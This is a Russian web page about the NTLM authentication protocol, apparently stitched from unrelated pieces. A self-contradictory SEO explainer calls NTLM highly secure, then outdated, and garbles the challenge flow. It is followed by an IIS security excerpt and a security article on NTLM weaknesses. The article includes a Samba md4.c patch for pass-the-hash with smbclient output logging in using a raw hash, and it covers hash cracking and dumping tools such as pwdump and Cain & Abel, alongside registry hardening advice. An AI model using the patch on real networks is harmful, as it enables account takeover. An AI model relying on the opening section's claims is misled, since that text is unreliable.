Windows nt challenge response что это

На чтение 4 мин Опубликовано Обновлено

Windows NT Challenge Response (дальше будем называть его NTLM) — это протокол аутентификации, разработанный компанией Microsoft и используемый в операционных системах Windows NT и Windows 2000. Он обеспечивает безопасную передачу учетных данных между клиентом и сервером, используя для этого процедуру вызова и передачи ответа на вызов.

NTLM имеет ряд преимуществ по сравнению с более старыми протоколами аутентификации, такими как LM или NTLMv1. Во-первых, он обеспечивает более сильное шифрование паролей пользователя, что делает его более безопасным. Во-вторых, NTLM поддерживает функцию однократного вызова, что упрощает процесс аутентификации для пользователя.

Для использования NTLM, клиент и сервер должны обмениваться вызовами и ответами на вызов. Клиент отправляет на сервер вызов, содержащий случайное число, а сервер отвечает на вызов, используя хэш от пароля пользователя и другие данные. Клиент и сервер продолжают обмениваться вызовами и ответами до тех пор, пока аутентификация не будет завершена успешно или не будет достигнут лимит попыток.

Важно отметить, что NTLM не является самым безопасным протоколом аутентификации и считается устаревшим. В настоящее время рекомендуется использовать более современные протоколы, такие как Kerberos, для обеспечения безопасности при передаче учетных данных.

Содержание

  1. Windows NT Challenge Response: основные принципы и применение
  2. Что такое Windows NT Challenge Response?
  3. Преимущества использования Windows NT Challenge Response

Windows NT Challenge Response: основные принципы и применение

Основные принципы работы NTCR следующие:

Принцип Описание
Генерация вызова Сервер генерирует случайный вызов и отправляет его клиенту для ответа.
Подтверждение Клиент использует хеш-функцию для преобразования вызова и пароля пользователя в ответ.
Сравнение ответа Сервер сравнивает полученный ответ с ожидаемым значением. Если они совпадают, аутентификация считается успешной.

Windows NT Challenge Response широко применяется в системах безопасности, где требуется предоставление доступа только аутентифицированным пользователям. Это может быть использовано, например, для доступа к сетевым ресурсам, защиты информации и контроля доступа к различным приложениям.

Преимущества NTCR включают:

  • Высокий уровень безопасности: использование хеш-функции делает атаки перебором паролей крайне затруднительными.
  • Простота использования: пользователю необходимо знать только свой пароль, чтобы получить доступ к ресурсам.
  • Сопровождение и переносимость: NTCR может быть использован совместно с различными протоколами аутентификации и поддерживается различными операционными системами Windows.

В заключение, Windows NT Challenge Response предоставляет надежный метод аутентификации, который используется в различных системах безопасности на базе Windows NT. Он обеспечивает высокий уровень защиты, простоту использования и переносимость, делая его эффективным средством контроля доступа и защиты информации.

Что такое Windows NT Challenge Response?

Когда клиент пытается выполнить вход в систему, сервер генерирует случайное число, называемое «вызовом». Затем сервер отправляет этот вызов клиенту, который использует его в качестве входных данных для вычисления «ответа». Ответ составляется путем применения хэширования к вызову и секретному паролю пользователя.

Получив ответ от клиента, сервер выполняет свои собственные вычисления для генерации ожидаемого ответа. Если полученный ответ от клиента совпадает с ожидаемым ответом сервера, то клиенту разрешается вход в систему.

Windows NT Challenge Response обеспечивает безопасность аутентификации путем использования хэш-функций и секретного пароля пользователя. Это эффективный способ предотвратить несанкционированный доступ к системе и защитить персональные данные.

Преимущества использования Windows NT Challenge Response

  • Безопасность: Windows NT Challenge Response обеспечивает высокий уровень безопасности для аутентификации пользователей. Путем использования сложных математических алгоритмов и обмена уникальными кодами между сервером и клиентом, этот метод аутентификации значительно усиливает защиту от несанкционированного доступа.
  • Защита от перехвата: Поскольку Challenge Response использует уникальные коды для каждого сеанса аутентификации, перехватчикам будет очень сложно воспроизвести коды и подделать имитацию клиента.
  • Легкость использования: Windows NT Challenge Response интегрируется непосредственно в операционную систему Windows, что делает его удобным и легким в использовании. Пользователи могут использовать свои существующие учетные записи Windows NT для прохождения аутентификации.
  • Гибкость: Windows NT Challenge Response поддерживает различные алгоритмы шифрования и контролирует доступ к системе на основе различных факторов, включая учетные данные, пароли и уровни разрешений.
  • Снижение рисков: Использование Windows NT Challenge Response помогает снизить риски, связанные с несанкционированным доступом и кражей учетных данных. Благодаря уникальным кодам, этот метод аутентификации обеспечивает высокий уровень защиты данных и предотвращает несанкционированный доступ к системе.

Вторая схема проверки подлинности, которая может использоваться для доступа клиента Internet Explorer к Интернет-серверу IIS, называется NTLM. Суть данной схемы состоит в том, что сервер в строке заголовка WWW-Authenticate передает клиенту «вызов» — последовательность 8 случайных байтов. Клиент применяет имеющийся у него хешированный пароль пользователя в качестве ключа шифрования и в заголовке Authorization возвращает серверу «ответ». В ответ включается имя пользователя, домен и зашифрованный паролем «вызов». Этой информации серверу достаточно, чтобы проверить подлинность пользователя и решить, передавать ли ему запрошенный ресурс.

Преимущество этого механизма в том, что во время проверки подлинности пароль по сети не передается. Однако применять его в глобальной сети Интернет вряд ли целесообразно. Во-первых, из клиентов HTTP в настоящее время его поддерживает только Microsoft Internet Explorer (начиная с версии 2). А во-вторых, он все же уязвим для изощренных атак, описанных ниже.

Альтернативный подход: механизм Basic + протокол SSL

Протокол SSL (Secure Sockets Layer) предложен корпорацией Netscape для защиты от несанкционированного доступа передаваемых по Интернету данных путем их шифрования. С точки зрения архитектуры, SSL «встраивается» между модулями HTTP и TCP как на клиентском, так и на серверном компьютере. Поступающий от клиента HTTP-запрос сначала шифруется модулем SSL и в таком виде передается по каналу TCP. На сервере модуль SSL расшифровывает поступившие по каналу TCP данные и передает их HTTP-серверу. Ответ сервера в процессе передачи его клиенту подвергается аналогичным преобразованиям.

Контроль допустимых операций

Рассмотренные выше средства контроля доступа основаны на идентификации и проверке подлинности пользователя, олицетворении его сервером и применении для защиты информации стандартных средств операционной системы. В дополнение к этому Интернет-сервер содержит средства ограничения допустимых операций протокола.

Администратор Интернет-сервера явно указывает папки файловой системы Windows NT, доступные по протоколам FTP, Gopher и HTTP, формируя отдельно для каждой из этих служб список виртуальных каталогов (virtual directories). Объявляя папку виртуальным каталогом IIS, администратор открывает доступ по сети ко всем файлам в этой и вложенных в нее папках. Для каждого виртуального каталога можно указать тип допустимых для него операций. Заметьте: рассматриваемые ограничения относятся ко всем обращающимся через виртуальный каталог пользователям.

Виртуальные каталоги могут быть вложены друг в друга, и эта вложенность не обязательно соответствует вложенности папок. Используя это средство, можно установить различные разрешения на подкаталоги виртуального каталога. Только помните: папка, имя которой длиннее 8 или содержит недопустимые для DOS символы, имеет в действительности два имени, и клиент в запросе может указать любое из них.

Операциями FTP являются считывание и запись информации. FТР-клиент выполняет операцию считывания по командам dir, get и mget. Операциям записи соответствуют команды клиента put, mput, delete, rename. По умолчанию все виртуальные каталоги FТР-сервера открыты только на чтение. Чтобы разрешить клиентам передавать файлы на сервер, администратору надо установить флажок Write в окне свойств соответствующего виртуального каталога.

Для службы HTTP в окне свойств каждого виртуального каталога администратор системы может разрешить или запретить выполнение по запросу клиентов операций Read и Execute.

Выполняемые приложения IIS (CGI, ISAPI), открывая большие возможности для создания нетривиальных информационных систем, одновременно представляют угрозу для системы безопасности сервера. Если приложение доступно через Интернет-сервер, его может запустить любой пользователь, располагающий стандартным клиентом HTTP. Поэтому администратору следует очень внимательно относиться к установке приложений IIS. Множество известных взломов защиты серверов HTTP связаны с эксплуатацией ошибок при администрировании Web-узла или ошибок установленных на нем приложений.

Microsoft рекомендует обычные и исполняемые файлы помещать в разные виртуальные каталоги, в свойствах виртуальных каталогов с обычными файлами разрешать только операцию Read, а с исполняемыми файлами — только Execute. Если в последнем случае разрешить обычное считывание, у клиентов появляется шанс получить копию исполняемого файла или сценария, а это — первый шаг к выявлению в этой программе ошибок и последующей их эксплуатации.

Тщательно контролируйте папки, объявленные виртуальными каталогами с разрешением исполнения приложений, и их подпапки. Установленные на них разрешения NTFS должны открывать их на запись лишь ограниченному кругу пользователей. Если приложениям требуется разрешение на запись в какие-либо файлы, лучше сделать так, чтобы эти файлы располагались в отдельной папке, недоступной через Интернет. Появление в виртуальных каталогах с приложениями файлов с расширениями .exe, .com, .dll — очень тревожный признак. В реестре операционной системы периодически проверяйте список интерпретаторов сценариев, а также значение параметра HKEY_LOCAL_MACHINESYSTEMCurrent-ControlSetServicesW3SVCParametersFilter DLLs, в котором перечисляются дополнительные библиотеки, подключаемые к Интернет-серверу.

Среди операций сервера HTTP есть еще одна, не упоминавшаяся ранее — Browse. Что сделает Интернет-сервер, если в запросе указано имя папки, а не файла? По умолчанию — будет искать в этой папке файл default.htm и возвратит клиенту его содержимое. Но если такого файла нет, он может составить индекс, т.е. перечислить имеющиеся в ней файлы и подпапки. Для информационных систем, созданных по типу WWW, это излишняя операция, поскольку доступ к отдельным файлам осуществляется по гипертекстным связям. Поэтому по умолчанию этот параметр всегда отключен. Однако иногда разработчики Web-узлов, публикуя большое количество файлов, не утруждают себя созданием и поддержанием в актуальном состоянии гипертекстного индекса. В этом случае удобно воспользоваться средством автоматического составления индекса папки. Во второй и третьей версиях IIS оно включается установкой флажка Browsing в окне свойств службы WWW Интернет-сервера на вкладке Directories.

То, что в последние годы проблемы безопасности протокола NTLM обсуждаются реже, чем раньше, выходят новые версии Microsoft Windows и внедряются новые протоколы аутентификации, не означает что проблемы исчезли. Эта статья — попытка собрать в одном месте информацию о различных недостатках NTLM, возможных атаках и о том, как следует учитывать архитектуру NTLM при проектировании и администрировании корпоративных сетей.


Призы для победителей конкурса предоставил компьютерный интернет магазин
Автор: ЗАРАЗА

Введение

Когда, полтора десятка лет назад, компания Microsoft начала серьезную работу над созданием централизованных сетей масштабов предприятия при работе над операционной системой Windows NT, перед разработчиками была поставлена весьма сложная, и новая по тем временам задача – реализовать технологии single sign-on, и One user – one password.

One user – one password (один пользователь – один пароль) означает, что у пользователя должен быть только один пароль. Единый пароль используется для доступа ко всем ресурсам и протоколам сети. Single sign-on (единый вход) подразумевает, что этот пароль указывается всего один раз – при входе пользователя в сеть.

Можно много спорить о преимуществах и недостатках такого подхода, но бесспорно одно – этот подход удобен как для пользователей, так и для разработчиков приложений. Пользователь избавлен от необходимости помнить много паролей и вводить их, а разработчику не надо задумываться над тем, как организовать аутентификацию пользователя.

Для этого необходимо было разработать такую схему аутентификации, которая позволила бы любому сетевому приложению передавать данные аутентификации независимо от сетевого протокола. Так родился NTLM и NTLMSSP (NTLM Security Service Provider) – подсистема позволяющая любому клиент-серверному приложению использовать NTLM ничего не зная о его внутренней структуре.

Нельзя сказать, чтобы Microsoft проигнорировал требования безопасности для протокола аутентификации. В общем-то, на тот момент протокол NTLM не был слабее многих уже использовавшихся протоколов, и в чем-то даже лучше. Но сейчас можно с уверенностью сказать, что вместе с протоколом NTLM появилось большое количество проблем связанных с его безопасностью. Часть проблем вызвана тем, что Microsoft должен был сохранить совместимость с существующими сетями LanManager для MS-DOS и Windows for Workgroups. Другие являются ошибками дизайна и объясняются новизной решаемой проблемы. Третьи являются исключительно криптографическими, т.к. тогда производители ПО редко имели в штате профессиональных криптоаналитиков.

Проблемы протокола NTLM широко дискутировались начиная с 1995 года и обсуждаются до сих пор. Существует ошибочное мнение, что протокол аутентификации Kerberos v5, используемый в сетях Windows 2000 и Windows 2003, полностью снимает проблему NTLM. Это не так, т.к. поддержка NTLM в существующих сетях Windows является обязательной и любая из сторон, принимающих участие в процессе аутентификации, может инициировать использование этого протокола. По этой причине многие проблемы протокола NTLM остаются актуальными в современных сетях Windows и должны учитываться не только в процессе администрирования сети, но и на этапе ее проектирования.

Я попытался собрать в одном месте информацию, мысли, идеи и проблемы, родившиеся в результате почти десятилетней дискуссии в открытых списках рассылки, а так же личной переписки со многими людьми, которым мне хотелось бы выразить признательность за их помощь, ответы на вопросы и терпение – Urity (urity at securityfriday.com), Jesper Johansson (jesperjo at microsoft.com), Solar Designer (solar at openwall.com), offtopic (offtopic at mail.ru) Glenn Zorn (gzorn at cisco.com) и многим другим. Так же использовались материалы из постингов Todd Sabin, Luke Kenneth Casson Leighton и Salman Niksefat. Из-за природной лени и отсутствия точных названий и постоянных URL для большинства использованных постингов я не буду делать список литературы в конце статей, пусть это сделает Google.

Мы не будем углубляться в технические детали более, чем это необходимо для понимания проблемы, тем не менее, иногда от читателя потребуются некоторые минимальные представления о процессах аутентификации и авторизации, программировании и криптографии. Чтобы облегчить жизнь читателю, в статье будут встречаться вставки «общеобразовательного» характера.

Процесс аутентификации клиент-серверных приложений в сетях Microsoft

Что происходит после нажатия на Ctrl+Alt+Del? Появляется запрос локальной подсистемы безопасности (Local Security Authority, LSA) на ввод имени пользователя и пароля. После ввода пароль хэшируется (криптографический хэш – одностороннее преобразование делающее невозможным, или по крайней мере сложным восстановление по нему оригинального пароля) и хэш помещается в хранилище LSA. В открытом виде он больше уже нигде не фигурирует (в старых версиях Windows пароль мог храниться в открытом виде или с обратимым шифрованием, т.к. старые версии LanManager использовали аутентификацию в открытом тексте, но не будем вспоминать эти времена). Кроме того, к хранилищу LSA нельзя обратиться напрямую стандартными методами. В хранилище хэши находятся до окончания сеанса работы (а иногда и после, это будет рассмотрено далее).

Протокол NTLM относится к семейству challenge-response (запрос-ответ) протоколов. Это означает, что ни пароль ни его хэш никогда не передаются «как есть», вместо этого они используются для генерации ответа (response) на случайный запрос (challenge). Аутентифицирующая сторона сравнивает полученный ответ с вычисленным локально. Генерация и проверка запроса и ответа осуществляется не приложениями, а провайдером NTLMSSP. Данные аутентификации, генерируемые NTLMSSP через специальные функции API (InitializeSecurityContext()/AcceptSecurityContext()) могут быть включены в любой протокол прикладного уровня, упаковка этих данных (называемых security blob – «начинка безопасности») это все, что требуется от приложений с точки зрения NTLMSSP. После успешной проверки подсистема безопасности генерирует токен, который может быть использован серверным приложением с правами локальной системы для имперсонирования пользователя, т.е. при подключении пользователя к серверному приложению серверное приложение может работать от его имени. В таком случае пользователь совершает вход на удаленную систему. Возникает вопрос – а может ли серверное приложение обратиться к другим сетевым ресурсам с использованием NTLM, не запрашивая дополнительной аутентификации? Если в хранилище LSA удаленного компьютера нет хэшей пароля пользователя – то это невозможно. Отсюда, например, невозможность «прозрачного» доступа к сетевому диску из telnet-сеанса или через Web-сервер если доступ через telnet или к Web происходит с NTLM аутентификацией.

Теоретически все получается замечательно и абсолютно безопасно. Даже запустив приложение с правами пользователя, все равно не возможно получить его пароль или даже хэш. И даже перехватив сеанс и подменив сервер, не получится получить доступ к другим сетевым ресурсам.

Давайте посмотрим на все это с точки зрения реализации.

Хэши NTLM

В семействе протоколов NTLM (как мы увидим далее, NTLM-подобных протоколов несколько) могут использоваться 2 типа хэшей: LM (LanManager) хэш, унаследованный от предыдущих реализаций LanManager и NT (New Technology) хэш, созданный для протокола NTLM. Соответственно, при входе пользователя в систему, как правило, от пароля берутся и хранятся оба этих хэша. Первая версия протокола NTLM для совместимости поддерживала оба ключа (NT или LM ключем обычно называют соответствующий хэш пароля). В более поздних реализациях используется только NT ключ, однако по-умолчанию LM хэш все равно создается при входе и помещается в хранилище LSA. Давайте рассмотрим оба алгоритма хэширования.

LM ключ получается из пароля в 8-битной OEM кодировке (cp866 для России) с помощью алгоритма DES.

Для справки: DES является симметричным блочным шифром, использующим 56 битный ключ для шифрования 64 битного блока текста. Реально, внутри алгоритма используется 64 битный ключ, однако длина ключа искусственно занижена по непонятным соображениям – 56 битный ключ «растягивается» за счет вставки дополнительного бита через каждые 7 бит ключа. Поскольку DES обладает относительной стойкостью к атакам известного открытого текста, он может быть использован в качестве криптографической хэш функции, если в качестве открытого текста использовании какой-либо известный текст, а в качестве ключа – хэшируемое слово. Известный текст может быть либо случайным (в таком случае он называется salt – соль, и хранится в месте с паролем), либо предопределенным, в таком случае он называется Magic Word – заклинание. В классической реализации crypt() в Unix использовался первый подход, в Windows используется магическое слово KGS!@#$% (посмотрите на клавиатуру…. Наверное, это был чей-то пароль). При использовании в качестве хэш функции DES генерирует 64 битный хэш по 56 битному тексту.

Поскольку DES позволяет получить хэш лишь от 7-символьного блока, то реально используется пароль из 14 символов (более короткий пароль дополняется нулями), который разбивается на два блока по 7 символов, от каждого из которых независимо вычисляется хэш. В итоге получается 128-битный хэш «склееный» из двух частей.

Недостатки алгоритма очевидны. Независимое вычисление двух блоков позволяет и их независимый взлом, т.е. реально каждый 64 бита хэша можно атаковать с целью восстановления пароля. Причем для генерации LM ключа пароль не чувствителен к регистру символов и символы всегда используются в верхнем реестре. Это делает очень эффективной атаку на восстановление пароля методом последовательного перебора (не более 7 символов из очень ограниченного алфавита). Причем длинный пароль может быть легче восстановить чем более короткий. Например, для пароля из 12 символов, сначала за считанные секунды подбираются последние 5 символов, после чего делается предположение о структуре пароля и первые 7 символов пароля подбираются по более ограниченному алфавиту. В настоящее время известны очень быстрые реализации DES с использованием 64-битной арифметики, что делает его абсолютно непригодным для криптографии. В общем случае, восстановление пароля по LM хэшу на современной технике вопрос не более чем нескольких дней. Кроме того, фиксированное магическое слово позволяет использование таблицы заранее посчитанных значений ключей, что делает возможным восстановление пароля по LM хэшу в реальном времени.

NT ключ вычисляется с помощью стандартного алгоритма хэширования MD4. Хэш MD4 берется от пароля записанного в 16-битной кодировке Unicode с последовательностью байт low endian (т.е. первым байтом идет номер символа в странице). Пароль вычисляется с учетом регистра. MD4 имеет несколько криптографических проблем, самой большой из них является маленькое время вычисления хэша, что позволяет перебирать достаточно большое количество комбинаций в единицу времени упрощая, например, атаку по словарю или подбор слабой комбинации символов.

Подсказка: существует большое количество программ для восстановления пароля из NT или LM ключа путем подбора по словарю или перебора – John-the-Ripper, LophtCrack, Cain & Abel. При наличии обоих ключей, обычно сначала восстанавливается пароль в верхнем регистре из LM-ключа, затем по NT-ключу восстанавливается регистр пароля. Такой подход, в частности, реализован в Cain & Abel (http://www.oxid.it), являющейся на сегодня наиболее мощным и универсальным инструментом для выполнения различных задач связанных с обнаружением слабых конфигураций, в т.ч. и многих проблем NTLM. Мы еще неоднократно будем возвращаться к возможностям этой утилиты. Самая быстрая реализация алгоритма DES ориентированная на взлом LM-ключей в Solar Designer’овском John-the-Ripper.

Совет: Можно запретить генерацию LM-ключей в системе путем установки в 1 значения NoLmHash в разделе реестра HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa

Несмотря на то, что будет описано ниже, сделать это настоятельно рекомендуется, хотя бы для очистки совести.

Кому нужен сломанный ключ?

Как мы уже говорили, NT и LM ключи (хэши) генерируются из пароля при входе пользователя в систему, после чего пароль нигде не хранится и никогда не используется. Возникает закономерный вопрос: если у нас есть на руках NT и LM хэши можем ли мы использовать их, например, для аутентификации по сети без восстановления пароля в открытом тексте? Очевидно, да. Начнем с простого случая открытых кодов. Попробуем модифицировать smbclient из состава SAMBA таким образом, чтобы подключаться к удаленному файловому серверу с исопльзованием NT хэша (как мы знаем, из NT хэша восстановить пароль гораздо сложнее). Было бы достаточно сложно перелопатить полтора десятка мегабайт исходников SAMBA, если бы мы не знали точно, что NT ключ это MD4 хэш. Нам будет достаточно только модифицировать библиотеку md4.c таким образом, чтобы не хэшировать что-то, что уже похоже на хэш. Например то, что состоит из 32х 16-ричных символов (как мы помним, ключ 128-битный, а пароль приходит в кодировке Unicode, т.е. каждый входящий символ занимает 2 байта, получается 64 байта на входе и 16 на выходе).

— md4.c.orig 2004-04-04 11:37:00.000000000 +0400

+++ md4.c 2004-10-27 23:01:31.000000000 +0400

@@ -130,6 +130,21 @@

C = 0x98badcfe;

D = 0x10325476;

+

+ if(n == 64){

+ int j;

+ unsigned char * hexd = (unsigned char *)»0123456789ABCDEF»;

+ for(j = 0; j<16; j++){

+ if(!strchr(hexd, in[(j<<2)]))break;

+ if(in[(j<<2)+1])break;

+ if(!strchr(hexd, in[(j<<2)+2]))break;

+ if(in[(j<<2)+3])break;

+ out[j] = ((strchr(hexd, in[(j<<2)]) — (char *)hexd)<<4);

+ out[j] ^= (strchr(hexd, in[(j<<2)+2]) — (char *)hexd);

+ }

+ if(j == 16) return;

+ }

+

while (n > 64) {

copy64(M, in);

mdfour64(M);

Проверим:

bash$ smbclient //WIN2KSRV/shared

added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0

Got a positive name query response from 192.168.1.2 ( 192.168.1.2 )

Password: (entering 8846F7EAEE8FB117AD06BDD830B7586C)

Domain=[WIN2KDOMAIN] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

smb: >

Получилось.

Наверное, у самых вредных возникает вопрос, можно ли проделать подобный трюк используя сам Windows в качестве клиента? Можно попробовать найти реализацию MD4 используемую для получения хэша при входе пользователя и подменить ее (модификацией двоичного кода или за счет подмены функции одним из многочисленных способов). Быстрый поиск по системным файлам показывает, что в папке SYSTEM32 около 85 реализаций MD4 (видимо программистам платят по объему двоичного кода), есть и особо подозрительные, например в samlib.dll. Делались и попытки поменять ключи непосредственно в памяти или хранилище, например в статье Hernan Ochoa “Modifying Windows NT Logon Credentials”… Но, собственно, статья наша теоретическая и одного эксперимента для подтверждения теории вполне хватает. Урок, который должен быть извлечен – хэш пароля с точки зрения протокола NTLM абсолютно равнозначен самому паролю, возможность получения хэша означает возможность полного использования пароля.

Где что хранится

Не следует путать хранилище LSA с защищенным хранилищем (Protected Storage) и бaзой данных SAM (Security Account Manager database).

В Protected Storage могут храниться любые данные, помещенные туда приложением (имена и пароли удаленного доступа, электронной почты, аутентификации сайтов и данные для автозаполнения форм). Они могут быть извлечены оттуда в том же виде, в котором были туда положены по запросу приложения через стандартный API. Хэшей паролей пользователя там нет.

В базе данных SAM хранятся локальные учетные записи пользователей (на контроллере домена – доменные), включая пароли в виде NT и LM хэшей, что уже несколько интересней. Локальная база данных SAM является кустом системного реестра (т.е. частью реестра хранящейся в отдельном файле). Ранее, если на машине не использовалась утилита syskey, можно было извлечь хэши локальных паролей учетных записей непосредственно из файла или из реестра. Для извлечения хэшей из файла можно было использовать утилиту samdump Дмитрия Андрианова, для извлечения из реестра – pwdump (Jeremy Allison). Однако, утилита syskey шифрует хранящиеся хэши с помощью системного ключа используя алгоритм RC4. Ключ может храниться на дискете, которую необходимо вставлять при загрузке машины, либо на диске – закрытый паролем (его необходимо вводить при каждой загрузке машины) или в некой обратимой форме. Управлять хранением системного ключа можно с помощью утилиты syskey. Начиная с Windows 2000 syskey c хранением ключа в обратимой форме включен по-умолчанию, что затрудняет извлечение хэшей из SAM стандартным способом. То, что будет извлечено, на самом деле не является хэшем пароля. Pwdump2 (Todd Sabin) обходит защиту syskey считывая хэши паролей через внутренний API в контексте процесса winlogon используя технику DLL injection. Pwdump3 (Phil Staubs) использует ту же саму технику в сочетании с Service API для того, чтобы запустить процесс на удаленном компьютере. Для работы всех программ требуется либо физический доступ к компьютеру либо повышенные привилегии (для pwdump2 и pwdump3 – SeDebugPrivilege).

Похожие приемы использовались и для доступа к хранилищу LSA. Lsadump (PaulAshton) использовала недокументированный API LsaRetrievePrivateData() для получения данных из хранилища LSA и могла работать только из-под учетной записи локальной системы. В более поздних системах Microsoft сделал использование этой функции совсем невозможным. Lsadump2 (Todd Sabin) использует ту же технику DLL injection, что и pwdump2 для доступа к секретам LSA через внутренний API lsass и так же требует SeDebugPrivilege.

Наверное, следует так же упомянуть о cached logon credentials (кэшированных удостоверениях). По-умолчанию Windows хранит данные о последних 10 набранных именах пользователей и паролей. Основная цель – дать возможность доменному пользователю войти на компьютер даже в случае отсутствия связи с контроллером домена. Поскольку нет необходимости хранить непосредственно хэш пароля (он будет вычислен при входе пользователя в систему), хранится некое производное значение (MD4 от имени пользователя и NT-хэша). Т.е. восстановить хэш пароля сложно, но можно попытаться атаковать слабые пароли пользователя. CachedLogonCredentials так же хранятся либо в хранилище LSA либо в разделе реестра NL$. К сожалению единственное известное средство автоматического доступа к кэшированным паролем, hashpipe (Todd Sabin) на сегодня не является общедоступным.

Указанные инструменты больше не поддерживаются разработчиками. Они, и другие тестировавшие утилиты, включая Cain & Abel, так же не дают надежного результата в Windows XP SP2, т.к. Microsoft изменил алгоритм работы winlogon и lsass, однако, для Cain & Abel это, скорее всего, лишь вопрос времени.

Совет: управлять Cached Logon Credentials можно с помощью доменных политик либо при помощи ключа реестра CachedLogonCount в разделе HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

Очень неприятно, если, например, в кэшированных удостоверениях останутся сведения о входе на компьютер администратора домена (это одна из причин управлять компьютером удаленно). Часто можно встретить рекомендацию устанавливать CachedLogonCount в 0, однако наиболее оптимальным представляется значение 1 – это позволяет в отсутствии сетевого подключения войти в систему последнему пользователю – т.е. тому, который обычно работает с компьютером .

Собственно NTLM

На сегодняшний момент существует две основных версии NTLM. Первая версия NT LanManager 0.12, часто называемая NTLM v1 и NTLM v2. Кроме того, существует несколько основанных на NTLM диалектов, например протокол аутентификации MS-CHAPv2 (MS-CHAP является NTLM 0.12 в чистом виде). Мы подробней остановимся на NTLM 0.12, т.к. нас будут интересовать его, так часто обсуждаемые, криптографические уязвимости.

Итак, NTLMSSP генерирует «кусочки» данных безопасности (security blob) которыми обмениваются клиентское и серверное приложение. Обмен происходит в несколько этапов, и для NTLM 0.12 выглядит следующим образом:

  1. Клиент посылает серверу запрос на аутентификацию.
  2. Сервер отвечает пакетом, в котором указывается выбранная NTLM аутентификация и поле EncryptionKey которого содержит 64-битный случайный запрос (challenge).
  3. Клиент посылает сообщение, содержащее поля AccountName (учетная запись), PrimaryDomain (домен учетной записи), CaseInsensitivePassword (пароль не чувствительный к регистру, фактически это LM-ответ) и CaseSensitivePassword (пароль чувствительный к реестру, фактически NT-ответ). Оба ответа являются 192-битными и вычисляются на основе NT и LM ключа по одному и тому же алгоритму. Если соответствующего ключа нет, то и соответствующий ответ будет нулевым.

Давайте проиллюстрируем алгоритм генерации ответа на примере NT-ключа 8846F7EAEE8FB117AD06BDD830B7586C (как мы помним, он 128-битный) с 64-битным запросом сервера 0123456789ABCDEF.

NT-ответ DD5428B01E86F4DFCABEAC394946DBD43EE88F794DD63255.

Сразу должно бросаться в глаза, что не так с этим алгоритмом – проблема та же, что и при вычислении LM-хэша, все три DES-блока вычисляются независимо. Это означает, что и восстанавливаться по известному запросу и ответу они так же могут независимо. Для современного PC время восстановление одного блока хэша пароля методом полного перебора составляет порядка нескольких недель и не зависит от сложности пароля.

В случае, если имеется LM-ответ – опять же возможна атака на восстановление второй половины пароля в открытом тексте, после чего первая часть даже полным перебором восстанавливается за несколько дней.

Из этого, в сочетании с тем, что имея хэш мы не нуждаемся в пароле в открытом тексте, следует однозначный вывод – NTLM 0.12 и MS-CHAP не должны использоваться для аутентификации в сетях, где возможен перехват трафика. Кроме того, если у внешнего недоверенного сервера есть возможно инициировать «прозрачный» вход пользователя, то он может использовать переданный ответ для восстановления ключа пользователя. Причем, за счет выбора «хорошего» запроса (например одни нули) взлом ключа может быть организован в реальном времени по заранее просчитанным таблицам.

Протокол аутентификации удаленного доступа MS-CHAPv2 является всего лишь расширением протокола MS-CHAP и, соответственно, NTLM 0.12. Изменения состоят в следующем: клиент так же генерирует случайный запрос для сервера, на который сервер должен ответить, т.е. аутентификация клиента и сервера является взаимной. Кроме того, запрос сервера попадает в алгоритм генерации ответа в измененном виде (сам алгоритм остается прежним) – берется SHA1 от запроса сервера, запроса клиента и имени пользователя. Это не влияет на сложность атаки на восстановление хэша т.к. SHA1 достаточно вычислить лишь один раз, а далее используется тот же алгоритм перебора. Единственным положительным моментом с точки зрения криптографии, является то, что в случае подмены сервера нельзя использовать заранее просчитанные таблицы для восстановления хэша путем выбора заранее известного запроса.

Из этого следует, что MS-CHAPv2, который часто используется для аутентификации, например, PPTP соединений, так же ни в коем случае не должен использоваться для аутентификации по недоверенным каналам связи. На сегодня, единственный более-менее стойкий протокол парольной аутентификации удаленного доступа это PEAP (Password EAP), который, к сожалению, слабо поддерживается, что делает практически невозможным использовать, например, PPTP туннели с шифрованием MPPE, даже с ключем шифрования большой длины, для построения VPN сетей, т.к. ключи шифрования MPPE генерируются на основе NT-ключа. Возможность восстановления NT ключа по данным аутентификации дает, к тому же, возможность восстановить передаваемые данные за весьма короткий срок вне зависимости от длины сеансового ключа.

В NTLMv2 так же используется взаимная аутентификация клиента и сервера, но для получения ответа используется гораздо более сильный алгоритм HMAC-MD5.

Для справки: HMAC-MD5 генерирует хэш на основе текста (text) и ключа (key) с использованием стандартного хэша MD5 по следующему алгоритму:

HMAC_MD5(text,key) = MD5 (key xor opad . MD5(key XOR ipad.text))

Где ‘.’ Означает конкатенацию, ipad = 0x36363636363636363636363636363636, ipad = 0x5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C

Ответ вычисляется следующим образом:

  1. Клиент генерирует ключ (NT2 ключ) используя HMAC_MD5 с NT-ключем в качестве ключа и именем пользователя конкатенированным с именем домена в Unicode в качестве текста.
  2. Клиент генерирует кусок данных (blob), в который входят случайные данные, временная метка, NetBIOS имя и т.д, всего порядка 64 байт, длина может варьироваться.
  3. blob конкатенируется с ответом сервера
  4. Вычисляется HMAC-MD5 c NT2 ключем полученном на первом шаге в качестве ключа и blob в качестве текста.
  5. результат (4) конкатенируется с blob (2). То, что получилось и есть ответ.

Такой алгоритм генерации ответа при использовании стойких паролей снимает практически все криптографические проблемы, что делает NTLMv2 вполне устойчивым к атакам пассивного прослушивания, тем не менее, разумеется, остается возможность подбора слабых паролей по словарю или полным перебором.

Подсказка: В Cain & Abel реализованы практически все рассмотренные атаки. Кроме того, встроенный снифер с возможностью arp poisoning позволяет перехватывать данные NTLM аутентификации даже в коммутируемых сетях и автоматически передавать все необходимые данные в подсистему криптографиеского анализа для различного типа криптографических атак.

Совет: Можно управлять разрешенными протоколами аутентификации и запретить протоколы аутентификации отличные от NTLMv2 с помощью реестра или доменных политик. За это отвечает ключ реестра LMCompatibilityLevel в разделе HKLMSystemCurrentControlSetControlLSA. Возможные значения слудющие:

  1. Посылать NT и LM ответы
  2. безопасность сеанса NTLM (не затрагивает аутентификацию)
  3. NTLM аутентификация. LM ответ не генерируется клиентом. На сервер не влияет.
  4. NTLMv2 аутентификация, клиент не использует NTLM 0.12
  5. NTLM требуется, сервер не принимает LM ответ
  6. NTLMv2 требуется, сервер не принимает NTLM 0.12 аутентификацию.

Как следует из названия, установка высокого LMCompatibilityLevel может повлиять на клиентов со старыми ОС.

